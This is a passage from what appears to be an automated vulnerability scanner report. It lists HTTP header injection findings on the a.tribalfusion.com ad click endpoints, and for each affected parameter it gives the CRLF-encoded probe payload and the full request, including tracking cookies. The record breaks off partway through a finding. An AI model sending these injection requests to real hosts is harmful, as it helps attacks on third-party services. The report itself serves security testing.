The value of REST URL parameter 7 is copied into the Location response header. The payload 1dd10%0d%0ab9b49b742a6 was submitted in the REST URL parameter 7. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/t.mookie1.com/t/v1/1dd10%0d%0ab9b49b742a6 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the adID request parameter is copied into the Location response header. The payload 86472%0d%0a3ac15fbfbe3 was submitted in the adID parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/t.mookie1.com/t/v1/clk?migAgencyId=14&migSource=adsrv2&migTrackDataExt=1033942;57634299;233688816;39823749&migRandom=6941413&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=http://www.vw.com/en.html?pageID=57634299&adID=86472%0d%0a3ac15fbfbe3&cs:pro=vola&cs:e=cnn&cs:a:e=vw10jcjet HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the cs:a:e request parameter is copied into the Location response header. The payload 32241%0d%0ab96b6c5512a was submitted in the cs:a:e parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/t.mookie1.com/t/v1/clk?migAgencyId=14&migSource=adsrv2&migTrackDataExt=1033942;57634299;233688816;39823749&migRandom=6941413&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=http://www.vw.com/en.html?pageID=57634299&adID=233688816&cs:pro=vola&cs:e=cnn&cs:a:e=32241%0d%0ab96b6c5512a HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the cs:e request parameter is copied into the Location response header. The payload 66fce%0d%0aea3a706a45f was submitted in the cs:e parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/t.mookie1.com/t/v1/clk?migAgencyId=14&migSource=adsrv2&migTrackDataExt=1033942;57634299;233688816;39823749&migRandom=6941413&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=http://www.vw.com/en.html?pageID=57634299&adID=233688816&cs:pro=vola&cs:e=66fce%0d%0aea3a706a45f&cs:a:e=vw10jcjet HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the cs:pro request parameter is copied into the Location response header. The payload c30a3%0d%0a6e4c5584b26 was submitted in the cs:pro parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/t.mookie1.com/t/v1/clk?migAgencyId=14&migSource=adsrv2&migTrackDataExt=1033942;57634299;233688816;39823749&migRandom=6941413&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=http://www.vw.com/en.html?pageID=57634299&adID=233688816&cs:pro=c30a3%0d%0a6e4c5584b26&cs:e=cnn&cs:a:e=vw10jcjet HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the migAgencyId request parameter is copied into the Location response header. The payload e521c%0d%0aa2e49ee6de7 was submitted in the migAgencyId parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/t.mookie1.com/t/v1/clk?migAgencyId=e521c%0d%0aa2e49ee6de7&migSource=adsrv2&migTrackDataExt=1033942;57634299;233688816;39823749&migRandom=6941413&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=http://www.vw.com/en.html?pageID=57634299&adID=233688816&cs:pro=vola&cs:e=cnn&cs:a:e=vw10jcjet HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the migRandom request parameter is copied into the Location response header. The payload 15bea%0d%0a72b9d1a767d was submitted in the migRandom parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/t.mookie1.com/t/v1/clk?migAgencyId=14&migSource=adsrv2&migTrackDataExt=1033942;57634299;233688816;39823749&migRandom=15bea%0d%0a72b9d1a767d&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=http://www.vw.com/en.html?pageID=57634299&adID=233688816&cs:pro=vola&cs:e=cnn&cs:a:e=vw10jcjet HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the migSource request parameter is copied into the Location response header. The payload 31b5f%0d%0a1d727e3388a was submitted in the migSource parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/t.mookie1.com/t/v1/clk?migAgencyId=14&migSource=31b5f%0d%0a1d727e3388a&migTrackDataExt=1033942;57634299;233688816;39823749&migRandom=6941413&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=http://www.vw.com/en.html?pageID=57634299&adID=233688816&cs:pro=vola&cs:e=cnn&cs:a:e=vw10jcjet HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the migTrackDataExt request parameter is copied into the Location response header. The payload ee931%0d%0acbd419af417 was submitted in the migTrackDataExt parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/t.mookie1.com/t/v1/clk?migAgencyId=14&migSource=adsrv2&migTrackDataExt=ee931%0d%0acbd419af417&migRandom=6941413&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=http://www.vw.com/en.html?pageID=57634299&adID=233688816&cs:pro=vola&cs:e=cnn&cs:a:e=vw10jcjet HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the migTrackFmtExt request parameter is copied into the Location response header. The payload 7de0b%0d%0af87942a728d was submitted in the migTrackFmtExt parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/t.mookie1.com/t/v1/clk?migAgencyId=14&migSource=adsrv2&migTrackDataExt=1033942;57634299;233688816;39823749&migRandom=6941413&migTrackFmtExt=7de0b%0d%0af87942a728d&migUnencodedDest=http://www.vw.com/en.html?pageID=57634299&adID=233688816&cs:pro=vola&cs:e=cnn&cs:a:e=vw10jcjet HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the migUnencodedDest request parameter is copied into the Location response header. The payload 4189b%0d%0a7791b4f74c2 was submitted in the migUnencodedDest parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/t.mookie1.com/t/v1/clk?migAgencyId=14&migSource=adsrv2&migTrackDataExt=1033942;57634299;233688816;39823749&migRandom=6941413&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=4189b%0d%0a7791b4f74c2&adID=233688816&cs:pro=vola&cs:e=cnn&cs:a:e=vw10jcjet HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
3.79. http://a.tribalfusion.com/h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/t.mookie1.com/t/v1/clk [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 1349f%0d%0a72cb2b1477e was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aSmNQC4dnZdQGvZc4AvFoHXrUWjbYF761UQe1TAsPbQAUFr0VdJ5mbftPU7m1TFq3aZbi4TnRmEbCXFYgTdFUnAfDms7rmHnL3qZbh5t6m3mBGmUjZd0GnPXsF21GbOnab43UY5VrJEVmU4REj0PsQnSHfM0WJpT6bItejgZb2/http:/t.mookie1.com/t/v1/clk?1349f%0d%0a72cb2b1477e=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
3.80. http://a.tribalfusion.com/h.click/aUmNQC5EY73tyM4A7JnUbZbYGvUXc3XXGnwmaZbU5U3QVUFHWP72PT33QcYpSdUM0dBsVmrp2cYVYrYATPys4AZbgQPMF4WUn0dBKpdZay3PvY4Vb7VcQdVsMeSPYyUWY3Ur7S3UaoVEYpTTBaPE3JQcjKQUIoPH7WnHRP4p/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 124dd%0d%0a93ae5762393 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aUmNQC5EY73tyM4A7JnUbZbYGvUXc3XXGnwmaZbU5U3QVUFHWP72PT33QcYpSdUM0dBsVmrp2cYVYrYATPys4AZbgQPMF4WUn0dBKpdZay3PvY4Vb7VcQdVsMeSPYyUWY3Ur7S3UaoVEYpTTBaPE3JQcjKQUIoPH7WnHRP4p/?124dd%0d%0a93ae5762393=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of the ord request parameter is copied into the Location response header. The payload 7ac8c%0d%0a46bc1d03be4 was submitted in the ord parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aUmNQC5EY73tyM4A7JnUbZbYGvUXc3XXGnwmaZbU5U3QVUFHWP72PT33QcYpSdUM0dBsVmrp2cYVYrYATPys4AZbgQPMF4WUn0dBKpdZay3PvY4Vb7VcQdVsMeSPYyUWY3Ur7S3UaoVEYpTTBaPE3JQcjKQUIoPH7WnHRP4p/;ord=7ac8c%0d%0a46bc1d03be4 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of the ;ord request parameter is copied into the Location response header. The payload d1d25%0d%0aa6bf3daf369 was submitted in the ;ord parameter. This caused a response containing an injected HTTP header.
Request
